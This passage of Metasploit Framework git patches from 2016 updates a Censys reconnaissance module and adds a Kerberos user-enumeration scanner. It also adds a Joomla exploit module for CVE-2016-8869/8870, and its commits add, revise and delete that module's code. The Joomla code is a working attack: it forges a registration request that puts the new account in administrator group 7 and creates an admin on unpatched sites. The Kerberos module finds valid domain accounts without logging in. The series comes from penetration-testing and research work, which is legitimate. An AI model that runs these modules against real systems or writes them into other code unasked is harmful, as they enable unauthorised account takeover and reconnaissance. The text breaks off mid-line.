b/modules/auxiliary/gather/censys_search.rb index c9cd23e7a6..2e90d08bc3 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -9,6 +9,8 @@ require 'rex/proto/http' class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + def initialize(info={}) super(update_info(info, 'Name' => 'Censys Search', @@ -80,14 +82,39 @@ class MetasploitModule < Msf::Auxiliary end end + def valid_domain?(domain) + domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/ + end + + def domain2ip(domain) + ips = [] + begin + ips = Rex::Socket.getaddresses(domain) + rescue SocketError + end + ips + end + def parse_certificates(records) + ips = [] records.each do |certificate| # parsed.fingerprint_sha256 # parsed.subject_dn # parsed.issuer_dn - print_status(certificate['parsed.fingerprint_sha256'].join(',')) - print_status(certificate['parsed.subject_dn'].join(',')) - print_status(certificate['parsed.issuer_dn'].join(',')) + subject_dn = certificate['parsed.subject_dn'].join(',') + next unless subject_dn.include?('CN=') + + host = subject_dn.split('CN=')[1] + if Rex::Socket.is_ipv4?(host) + ips << host + elsif valid_domain?(host) # Fake DNS server + ips |= domain2ip(host) + end + + ips.each do |ip| + print_good("#{ip} - #{subject_dn}") + report_host(:host => ip, :info => subject_dn) + end end end From b5ba862e98065c9bc99de0fdb970fb0762f0e0b0 Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Sun, 23 Oct 2016 10:53:43 -0500 Subject: [PATCH 035/157] parse ipv4 / website info --- modules/auxiliary/gather/censys_search.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index 2e90d08bc3..a60ec45240 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -122,7 +122,14 @@ class MetasploitModule < Msf::Auxiliary records.each do |ipv4| # ip # protocols - print_status("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}") + ip = ipv4['ip'] + protocols = ipv4['protocols'] + + protocols.each do |protocol| + print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}") + port, name = protocol.split('/') + report_service(:host => ip, :port => port, :name => name) + end end end @@ -130,7 +137,12 @@ class MetasploitModule < Msf::Auxiliary records.each do |website| # domain # alexa_rank - print_status("#{website['domain']} - #{website['alexa_rank']}") + print_good("#{website['domain']} - #{website['alexa_rank']}") + domain = website['domain'] + ips = domain2ip(domain) + ips.each do |ip| + report_host(:host =>ip) + end end end From 98afd0f18d1eb08e70730b9a9af540e112a3271b Mon Sep 17 00:00:00 2001 From: nixawk Date: Tue, 25 Oct 2016 22:40:25 -0500 Subject: [PATCH 036/157] add censys_search doc --- .../modules/auxiliary/gather/censys_search.md | 214 ++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/censys_search.md diff --git a/documentation/modules/auxiliary/gather/censys_search.md b/documentation/modules/auxiliary/gather/censys_search.md new file mode 100644 index 0000000000..fb243e2805 --- /dev/null +++ b/documentation/modules/auxiliary/gather/censys_search.md @@ -0,0 +1,214 @@ +The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site. + +## Verification Steps + +1. Do: `use auxiliary/gather/censys_search` +2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` +3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` +4. Do: `set CENSYS_SEARCHTYPE certificates` +5: Do: `set CENSYS_DORK rapid7` +6: Do: `run` + +## Sample Output + +#### Certificates Search + +``` +msf auxiliary(censys_search) > set CENSYS_DORK rapid7 +CENSYS_DORK => rapid7 +msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates +CENSYS_SEARCHTYPE => certificates +... +[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA +[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost +[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7 +... + +``` + +### IPv4 Search + +``` +msf auxiliary(censys_search) > set CENSYS_DORK rapid7 +CENSYS_DORK => rapid7 +msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4 +CENSYS_SEARCHTYPE => ipv4 +[*] 197.117.5.36 - 443/https +[*] 208.118.237.81 - 443/https +[*] 206.19.237.19 - 443/https +[*] 54.214.49.70 - 80/http,443/https +[*] 208.118.237.241 - 443/https +[*] 162.220.246.141 - 443/https,22/ssh,80/http +[*] 31.214.157.19 - 443/https,22/ssh +[*] 52.88.1.225 - 443/https,22/ssh +[*] 208.118.227.12 - 25/smtp +[*] 38.107.201.41 - 443/https +[*] 52.44.56.126 - 80/http,443/https +[*] 52.54.227.6 - 443/https,80/http +[*] 23.217.253.242 - 443/https,80/http +[*] 96.6.3.45 - 80/http,443/https +[*] 23.6.73.47 - 443/https,80/http +[*] 23.78.99.243 - 80/http,443/https +[*] 23.53.51.170 - 80/http,443/https +[*] 23.62.201.47 - 443/https,80/http +[*] 2.23.50.157 - 443/https,80/http +[*] 118.215.191.13 - 80/http,443/https +[*] 2.19.185.28 - 80/http,443/https +[*] 2.18.195.99 - 443/https,80/http +[*] 23.197.196.25 - 443/https,80/http +[*] 95.100.104.181 - 443/https,80/http +[*] 2.20.37.130 - 80/http,443/https +[*] 23.194.237.34 - 443/https,80/http +[*] 2.17.140.86 - 443/https,80/http +[*] 64.125.235.5 - 25/smtp +[*] 208.118.227.32 - 80/http +[*] 2.21.129.149 - 80/http,443/https +[*] 2.20.167.33 - 80/http,443/https +[*] 95.100.139.218 - 80/http,443/https +[*] 23.38.88.202 - 443/https,80/http +[*] 2.17.184.80 - 443/https,80/http +[*] 23.59.119.23 - 80/http,443/https +[*] 2.16.14.225 - 443/https,80/http +[*] 104.113.122.33 - 443/https,80/http +[*] 23.223.44.164 - 80/http,443/https +[*] 88.221.120.214 - 443/https,80/http +[*] 23.47.36.145 - 443/https,80/http +[*] 2.23.21.254 - 80/http,443/https +[*] 208.118.237.39 - 443/https +[*] 208.118.237.40 - 443/https +[*] 208.118.237.41 - 443/https +[*] 23.54.217.47 - 80/http,443/https +[*] 96.17.254.188 - 443/https,80/http +[*] 184.25.129.65 - 443/https,80/http +[*] 104.121.167.123 - 443/https,80/http +[*] 104.94.110.63 - 443/https,80/http +[*] 104.91.11.216 - 80/http,443/https +[*] 23.38.233.47 - 80/http,443/https +[*] 52.86.110.89 - 80/http,443/https +[*] 69.192.73.47 - 443/https,80/http +[*] 184.86.57.47 - 443/https,80/http +[*] 104.86.45.180 - 443/https,80/http +[*] 184.87.72.153 - 80/http,443/https +[*] 23.66.25.47 - 80/http,443/https +[*] 23.56.162.76 - 80/http,443/https +[*] 184.87.133.242 - 443/https,80/http +[*] 23.55.74.28 - 80/http,443/https +[*] 23.6.225.84 - 80/http,443/https +[*] 23.46.133.153 - 443/https,80/http +[*] 23.10.121.47 - 443/https,80/http +[*] 104.109.35.169 - 80/http,443/https +[*] 172.227.101.182 - 80/http,443/https +[*] 184.27.23.104 - 80/http,443/https +[*] 23.49.185.47 - 80/http,443/https +[*] 23.67.172.177 - 80/http,443/https +[*] 23.62.170.161 - 443/https,80/http +[*] 23.219.71.35 - 443/https,80/http +[*] 104.82.94.233 - 443/https,80/http +[*] 184.26.73.47 - 80/http,443/https +[*] 104.68.108.237 - 80/http,443/https +[*] 23.60.39.77 - 80/http,443/https +[*] 23.66.100.92 - 80/http,443/https +[*] 23.61.28.182 - 443/https,80/http +[*] 23.42.116.233 - 80/http,443/https +[*] 104.105.14.197 - 80/http,443/https +[*] 104.103.203.240 - 80/http,443/https +[*] 104.65.57.235 - 80/http,443/https +[*] 23.41.83.224 - 80/http,443/https +[*] 184.51.185.47 - 80/http,443/https +[*] 23.67.231.142 - 80/http,443/https +[*] 208.118.237.38 - 443/https +[*] 104.76.25.28 - 80/http,443/https +[*] 23.196.125.176 - 443/https,80/http +[*] 23.40.154.224 - 80/http,443/https +[*] 23.77.33.204 - 443/https,80/http +[*] 104.88.21.48 - 80/http,443/https +[*] 173.223.134.47 - 80/http,443/https +[*] 23.4.98.72 - 80/http,443/https +[*] 23.44.97.3 - 80/http,443/https +[*] 23.203.66.142 - 443/https,80/http +[*] 23.42.216.251 - 443/https,80/http +[*] 23.42.85.25 - 80/http,443/https +[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh +[*] 104.83.219.182 - 443/https,80/http +[*] 184.86.41.47 - 443/https,80/http +[*] 104.97.72.196 - 443/https,80/http +[*] 69.192.169.48 - 443/https,80/http +``` + +### Websites Search + +``` +msf auxiliary(censys_search) > set CENSYS_DORK rapid7 +CENSYS_DORK => rapid7 +msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites +CENSYS_SEARCHTYPE => websites +msf auxiliary(censys_search) > run + +[+] rapid7.com - [37743] +[+] logentries.com - [45346] +[+] venturefizz.com - [106102] +[+] gild.com - [116853] +[+] sectools.org - [122125] +[+] ericzhang.me - [155622] +[+] metasploit.com - [156435] +[+] datapipe.com - [209756] +[+] routerpwn.com - [317896] +[+] proxy-base.com - [507954] +[+] config.fr - [542346] +[+] winterwyman.com - [629471] +[+] gogrid.com - [741009] +[+] wesecure.nl - [997423] +[*] Auxiliary module execution completed +``` + + +## References + +1. https://censys.io/api From 18c3d42aca26b84d70e24280719b3ac851f92c06 Mon Sep 17 00:00:00 2001 From: attackdebris Date: Wed, 26 Oct 2016 20:56:41 +0100 Subject: [PATCH 037/157] This commit adds the kerberos_enumusers module --- .../scanner/kerberos/kerberos_enumusers.rb | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 modules/auxiliary/scanner/kerberos/kerberos_enumusers.rb diff --git a/modules/auxiliary/scanner/kerberos/kerberos_enumusers.rb b/modules/auxiliary/scanner/kerberos/kerberos_enumusers.rb new file mode 100644 index 0000000000..8b971ffa33 --- /dev/null +++ b/modules/auxiliary/scanner/kerberos/kerberos_enumusers.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Kerberos::Client + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kerberos Domain User Enumeration', + 'Description' => %q{ + This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises + the different responses returned by the service for valid and invalid users. + }, + 'Author' => + [ + 'Matt Byrne ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html'], + ], + 'License' => MSF_LICENSE, + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]), + OptPath.new( + 'USER_FILE', + [true, 'Files containing usernames, one per line', nil]) + ], self.class) + end + def user_list + users = nil + if File.readable? datastore['USER_FILE'] + users = File.new(datastore['USER_FILE']).read.split + users.each {|u| u.downcase!} + users.uniq! + else + raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" + end + users + end + def run + print_status("Validating options...") + + domain = datastore['DOMAIN'].upcase + user_file = datastore['USER_FILE'] + + print_status("Using domain: #{domain}...") + + pre_auth = [] + pre_auth << build_pa_pac_request + pre_auth + + user_list.each do |user| + print_status("#{peer} - Testing User: \"#{user}\"...") + res = send_request_as( + client_name: "#{user}", + server_name: "krbtgt/#{domain}", + realm: "#{domain}", + pa_data: pre_auth + ) + print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR + test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] + if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"] + print_good("#{peer} - User: \"#{user}\" is present") + elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"] + print_error("#{peer} - User: \"#{user}\" account disabled or locked out") + else + print_status("#{peer} - User: \"#{user}\" does not exist") + end + end + end + + def warn_error(res) + msg = '' + + if Rex::Proto::Kerberos::Model::ERROR_CODES.has_key?(res.error_code) + error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] + msg = "#{error_info[0]} - #{error_info[1]}" + else + msg = 'Wrong DOMAIN Name? Check DOMAIN and retry...' + end + end +end From 94b05d7943430d9251bdc560f36e7f5d5f1c9c0b Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Wed, 26 Oct 2016 23:11:38 +0100 Subject: [PATCH 038/157] Joomla Account Creation and Privilege Escalation This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4 through 3.6.3. --- .../admin/http/joomla_privilege_escalation.rb | 141 ++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 modules/auxiliary/admin/http/joomla_privilege_escalation.rb diff --git a/modules/auxiliary/admin/http/joomla_privilege_escalation.rb b/modules/auxiliary/admin/http/joomla_privilege_escalation.rb new file mode 100644 index 0000000000..cb9cf643ad --- /dev/null +++ b/modules/auxiliary/admin/http/joomla_privilege_escalation.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla Account Creation and Privilege Escalation', + 'Description' => %q{ + This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4 + through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default). + }, + 'References' => + [ + ['CVE', 'CVE-2016-8869'], + ['CVE', 'CVE-2016-8870'], + ['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'], + ['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'], + ['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2'] + ], + 'Author' => + [ + 'Fábio Pires ', # module creation and privilege escalation + 'Filipe Reis ', # module creation and privilege escalation + 'Vitor Oliveira ', # module creation and privilege escalation + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Joomla 3.4.4 - 3.6.3', {}]], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 25 2016' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']), + OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']), + OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']), + OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']) + ], self.class) + deregister_options('VHOST') + end + + def run + print_status("Trying to create the user!") + response = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), + 'vars_get' => { + 'view' => 'login' + } + ) + + cookie = response.headers['set-cookie'] + csrf = response.body.match(/name="(\w{32})"/i).captures[0] + + boundary = "157247343414135650641514240823" + + ctype = "multipart/form-data; boundary=---------------------------#{boundary}" + + post_data = "" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"user[name]\"" + "\r\n\r\n" + post_data << datastore['USERNAME'] + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"user[username]\"" + "\r\n\r\n" + post_data << datastore['USERNAME'] + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"user[groups][]\"" + "\r\n\r\n" + post_data << "7" + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"user[password1]\"" + "\r\n\r\n" + post_data << datastore['PASSWORD'] + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"user[password2]\"" + "\r\n\r\n" + post_data << datastore['PASSWORD'] + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"user[email1]\"" + "\r\n\r\n" + post_data << datastore['EMAIL'] + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"user[email2]\"" + "\r\n\r\n" + post_data << datastore['EMAIL'] + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"option\"" + "\r\n\r\n" + post_data << "com_users" + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"task\"" + "\r\n\r\n" + post_data << "user.register" + "\r\n" + post_data << "-----------------------------#{boundary}" + "\r\n" + post_data << "Content-Disposition: form-data; name=\"#{csrf}\"" + "\r\n\r\n" + post_data << "1" + "\r\n" + post_data << "-----------------------------#{boundary}--" + "\r\n" + + res = send_request_raw( + { + 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/?task=user.register'), + 'method' => 'POST', + 'data' => post_data, + 'headers' => + { + 'Content-Length' => post_data.length, + 'Content-Type' => ctype, + 'Cookie' => cookie + } + } + ) + + if res && res.code == 200 + print_good("PWND - Your user has been created") + print_status("\tUsername: " + datastore['USERNAME']) + print_status("\tPassword: " + datastore['PASSWORD']) + else + if res && res.code == 303 + while res.code == 303 do + redirect = URI(res.headers['Location']).to_s.gsub(/#\//, "") + + res = send_request_cgi({ + 'uri' => redirect, + 'method' => 'GET', + 'headers' => + { + 'Cookie' => cookie + } + }) + end + + errMessage = res.body.match(/class="alert-message">(.*)<\/div>/i).captures[0] + print_error("There was an issue, but the user could have been created.") + print_error("\t" + errMessage) + end + end + end +end From 5a127886bb152c875c5dad22d8405dfb19078ce6 Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Wed, 26 Oct 2016 23:24:09 +0100 Subject: [PATCH 039/157] Fixing issues regarding travis checks Fixing unicode issues; Fixing CVE format; Fixing EOL spaces; Fixing the way cookies are read. --- .../auxiliary/admin/http/joomla_privilege_escalation.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/http/joomla_privilege_escalation.rb b/modules/auxiliary/admin/http/joomla_privilege_escalation.rb index cb9cf643ad..c13120f645 100644 --- a/modules/auxiliary/admin/http/joomla_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/joomla_privilege_escalation.rb @@ -20,15 +20,15 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ - ['CVE', 'CVE-2016-8869'], - ['CVE', 'CVE-2016-8870'], + ['CVE', '2016-8869'], + ['CVE', '2016-8870'], ['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'], ['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'], ['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2'] ], 'Author' => [ - 'Fábio Pires ', # module creation and privilege escalation + 'Fabio Pires ', # module creation and privilege escalation 'Filipe Reis ', # module creation and privilege escalation 'Vitor Oliveira ', # module creation and privilege escalation ], @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary } ) - cookie = response.headers['set-cookie'] + cookie = response.get_cookies csrf = response.body.match(/name="(\w{32})"/i).captures[0] boundary = "157247343414135650641514240823" From 0af47ef411b275b51eb4aa44ec40d43322988ca6 Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Wed, 26 Oct 2016 23:29:17 +0100 Subject: [PATCH 040/157] Fixing warning from travis checks Fixing: Auxiliary modules have no 'Rank': Rank = ExcellentRanking Fixing: Spaces at EOL --- modules/auxiliary/admin/http/joomla_privilege_escalation.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/joomla_privilege_escalation.rb b/modules/auxiliary/admin/http/joomla_privilege_escalation.rb index c13120f645..a96ef08565 100644 --- a/modules/auxiliary/admin/http/joomla_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/joomla_privilege_escalation.rb @@ -6,7 +6,6 @@ require 'msf/core' class MetasploitModule < Msf::Auxiliary - Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -109,7 +108,7 @@ class MetasploitModule < Msf::Auxiliary 'Content-Length' => post_data.length, 'Content-Type' => ctype, 'Cookie' => cookie - } + } } ) From 8ad1c66bd32599b287973f03b3612267c6905ac0 Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Thu, 27 Oct 2016 02:46:40 +0100 Subject: [PATCH 041/157] Code update and file rename Fix: clean up and improving code using all the comments. Fix: rename file to a more meaning and more easy to search --- .../admin/http/joomla_privilege_escalation.rb | 140 ------------------ .../admin/http/joomla_registration_privesc.rb | 119 +++++++++++++++ 2 files changed, 119 insertions(+), 140 deletions(-) delete mode 100644 modules/auxiliary/admin/http/joomla_privilege_escalation.rb create mode 100644 modules/auxiliary/admin/http/joomla_registration_privesc.rb diff --git a/modules/auxiliary/admin/http/joomla_privilege_escalation.rb b/modules/auxiliary/admin/http/joomla_privilege_escalation.rb deleted file mode 100644 index a96ef08565..0000000000 --- a/modules/auxiliary/admin/http/joomla_privilege_escalation.rb +++ /dev/null @@ -1,140 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class MetasploitModule < Msf::Auxiliary - - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Joomla Account Creation and Privilege Escalation', - 'Description' => %q{ - This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4 - through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default). - }, - 'References' => - [ - ['CVE', '2016-8869'], - ['CVE', '2016-8870'], - ['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'], - ['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'], - ['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2'] - ], - 'Author' => - [ - 'Fabio Pires ', # module creation and privilege escalation - 'Filipe Reis ', # module creation and privilege escalation - 'Vitor Oliveira ', # module creation and privilege escalation - ], - 'Privileged' => false, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => [['Joomla 3.4.4 - 3.6.3', {}]], - 'License' => MSF_LICENSE, - 'DisclosureDate' => 'Oct 25 2016' - )) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']), - OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']), - OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']), - OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']) - ], self.class) - deregister_options('VHOST') - end - - def run - print_status("Trying to create the user!") - response = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), - 'vars_get' => { - 'view' => 'login' - } - ) - - cookie = response.get_cookies - csrf = response.body.match(/name="(\w{32})"/i).captures[0] - - boundary = "157247343414135650641514240823" - - ctype = "multipart/form-data; boundary=---------------------------#{boundary}" - - post_data = "" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"user[name]\"" + "\r\n\r\n" - post_data << datastore['USERNAME'] + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"user[username]\"" + "\r\n\r\n" - post_data << datastore['USERNAME'] + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"user[groups][]\"" + "\r\n\r\n" - post_data << "7" + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"user[password1]\"" + "\r\n\r\n" - post_data << datastore['PASSWORD'] + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"user[password2]\"" + "\r\n\r\n" - post_data << datastore['PASSWORD'] + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"user[email1]\"" + "\r\n\r\n" - post_data << datastore['EMAIL'] + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"user[email2]\"" + "\r\n\r\n" - post_data << datastore['EMAIL'] + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"option\"" + "\r\n\r\n" - post_data << "com_users" + "\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"task\"" + "\r\n\r\n" - post_data << "user.register" + 